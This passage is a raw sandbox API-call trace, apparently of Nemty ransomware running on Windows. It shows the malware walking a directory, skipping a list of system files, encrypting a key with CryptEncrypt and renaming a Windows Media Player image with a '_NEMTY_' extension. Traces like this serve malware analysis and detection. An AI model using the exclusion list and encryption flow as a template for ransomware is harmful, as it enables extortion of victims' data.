(lpString1="wmpnss_bw120.jpg", lpString2="rsa") returned 1 [0105.368] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="NTDETECT.COM") returned 1 [0105.368] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="ntldr") returned 1 [0105.368] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="MSDOS.SYS") returned 1 [0105.368] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="IO.SYS") returned 1 [0105.368] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="boot.ini") returned 1 [0105.368] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="boot.ini") returned 1 [0105.368] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="AUTOEXEC.BAT") returned 1 [0105.368] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="ntuser.dat") returned 1 [0105.368] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="desktop.ini") returned 1 [0105.368] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="CONFIG.SYS") returned 1 [0105.368] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="RECYCLER") returned 1 [0105.368] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="BOOTSECT.BAK") returned 1 [0105.368] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="bootmgr") returned 1 [0105.369] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="programdata") returned 1 [0105.369] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="appdata") returned 1 [0105.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0105.369] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw120.jpg", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0105.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0105.369] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw120.jpg", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_bw120.jpg", lpUsedDefaultChar=0x0) returned 16 [0105.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0105.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0105.369] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw120.jpg", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0105.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0105.369] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw120.jpg", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_bw120.jpg", lpUsedDefaultChar=0x0) returned 16 [0105.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0105.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0105.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0105.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0105.369] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw120.jpg", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0105.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0105.369] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw120.jpg", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_bw120.jpg", lpUsedDefaultChar=0x0) returned 16 [0105.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0105.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0105.369] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw120.jpg", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0105.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0105.369] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw120.jpg", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_bw120.jpg", lpUsedDefaultChar=0x0) returned 16 [0105.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0105.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0105.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94258 | out: hHeap=0x4f90000) returned 1 [0105.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0105.369] Sleep (dwMilliseconds=0x5) [0105.376] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf274acd0, dwHighDateTime=0x1d561e7)) [0105.376] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf274acd0, dwHighDateTime=0x1d561e7)) [0105.376] GetLastError () returned 0x5 [0105.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0105.376] GetLastError () returned 0x5 [0105.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0105.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0105.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0105.376] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0105.376] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0105.376] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0105.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94258 [0105.376] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94258, pcchString=0x653ef9c | out: pszString="lAeBJAzXAQEm1X0yfX8V8cVsaaSv/ZzX4mJWDoWCGvEawjL5fJegW5wL1d6wvzh3\r\nP89FdbVYBuXpu0NVgpgKjfqoB27MQef1DmR5g51coEfe9+uay1Etjd8Yu7uTttCh\r\nFqf960r067fQPhvyISUMoxPTeAVQ/PWQCV6jl3ql0GRX29I2gC3BZ1KVupJNqmZN\r\ncQXgIz0aCgQKW7dtbFlBx0/c+z74TtUaZ+93fla1FR19+Sg25F6ZpvXDxuabepVV\r\n0y5dHxriLaAzSyReDpgDw46QXw9tvTQ31L6Z3wXYMCPFw4744jlQftAonHPbCztH\r\nqWYW5CnX7e0r1N705gSNEg==\r\n", pcchString=0x653ef9c) returned 1 [0105.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0105.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94258 | out: hHeap=0x4f90000) returned 1 [0105.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0105.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0105.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94258 [0105.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0105.376] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw120.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw120.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0105.377] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0105.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0105.377] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.377] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.386] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.386] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.386] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.386] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.395] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.396] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.396] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.405] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.405] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.405] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.405] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.414] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.415] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.415] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.424] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.424] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.433] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.433] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.433] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.433] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.443] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.443] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.452] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.452] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.453] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.453] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.462] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.462] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.472] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.472] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.472] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.472] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.478] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.478] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.478] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.478] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.484] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.484] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.484] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.484] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94258, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0105.484] CloseHandle (hObject=0xffffffff) returned 0 [0105.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0105.484] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0105.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0105.484] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0105.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0105.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0105.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0105.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0105.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0105.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0105.484] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw120.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw120.jpg"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw120.jpg._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw120.jpg._nemty_kgobjgd_")) returned 0 [0105.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0105.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0105.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0105.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94258 | out: hHeap=0x4f90000) returned 1 [0105.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0105.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0105.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0105.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0105.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0105.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0105.485] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf38ba92, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf38ba92, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1922, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="wmpnss_bw120.png", cAlternateFileName="")) returned 1 [0105.485] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2=".") returned 1 [0105.485] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="..") returned 1 [0105.485] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="...") returned 1 [0105.485] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="windows") returned 1 [0105.485] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="$RECYCLE.BIN") returned 1 [0105.485] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="rsa") returned 1 [0105.485] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="NTDETECT.COM") returned 1 [0105.485] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="ntldr") returned 1 [0105.485] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="MSDOS.SYS") returned 1 [0105.485] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="IO.SYS") returned 1 [0105.485] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="boot.ini") returned 1 [0105.485] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="boot.ini") returned 1 [0105.485] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="AUTOEXEC.BAT") returned 1 [0105.485] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="ntuser.dat") returned 1 [0105.485] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="desktop.ini") returned 1 [0105.485] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="CONFIG.SYS") returned 1 [0105.485] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="RECYCLER") returned 1 [0105.485] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="BOOTSECT.BAK") returned 1 [0105.485] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="bootmgr") returned 1 [0105.485] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="programdata") returned 1 [0105.485] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="appdata") returned 1 [0105.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0105.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw120.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0105.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0105.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw120.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_bw120.png", lpUsedDefaultChar=0x0) returned 16 [0105.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0105.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0105.485] 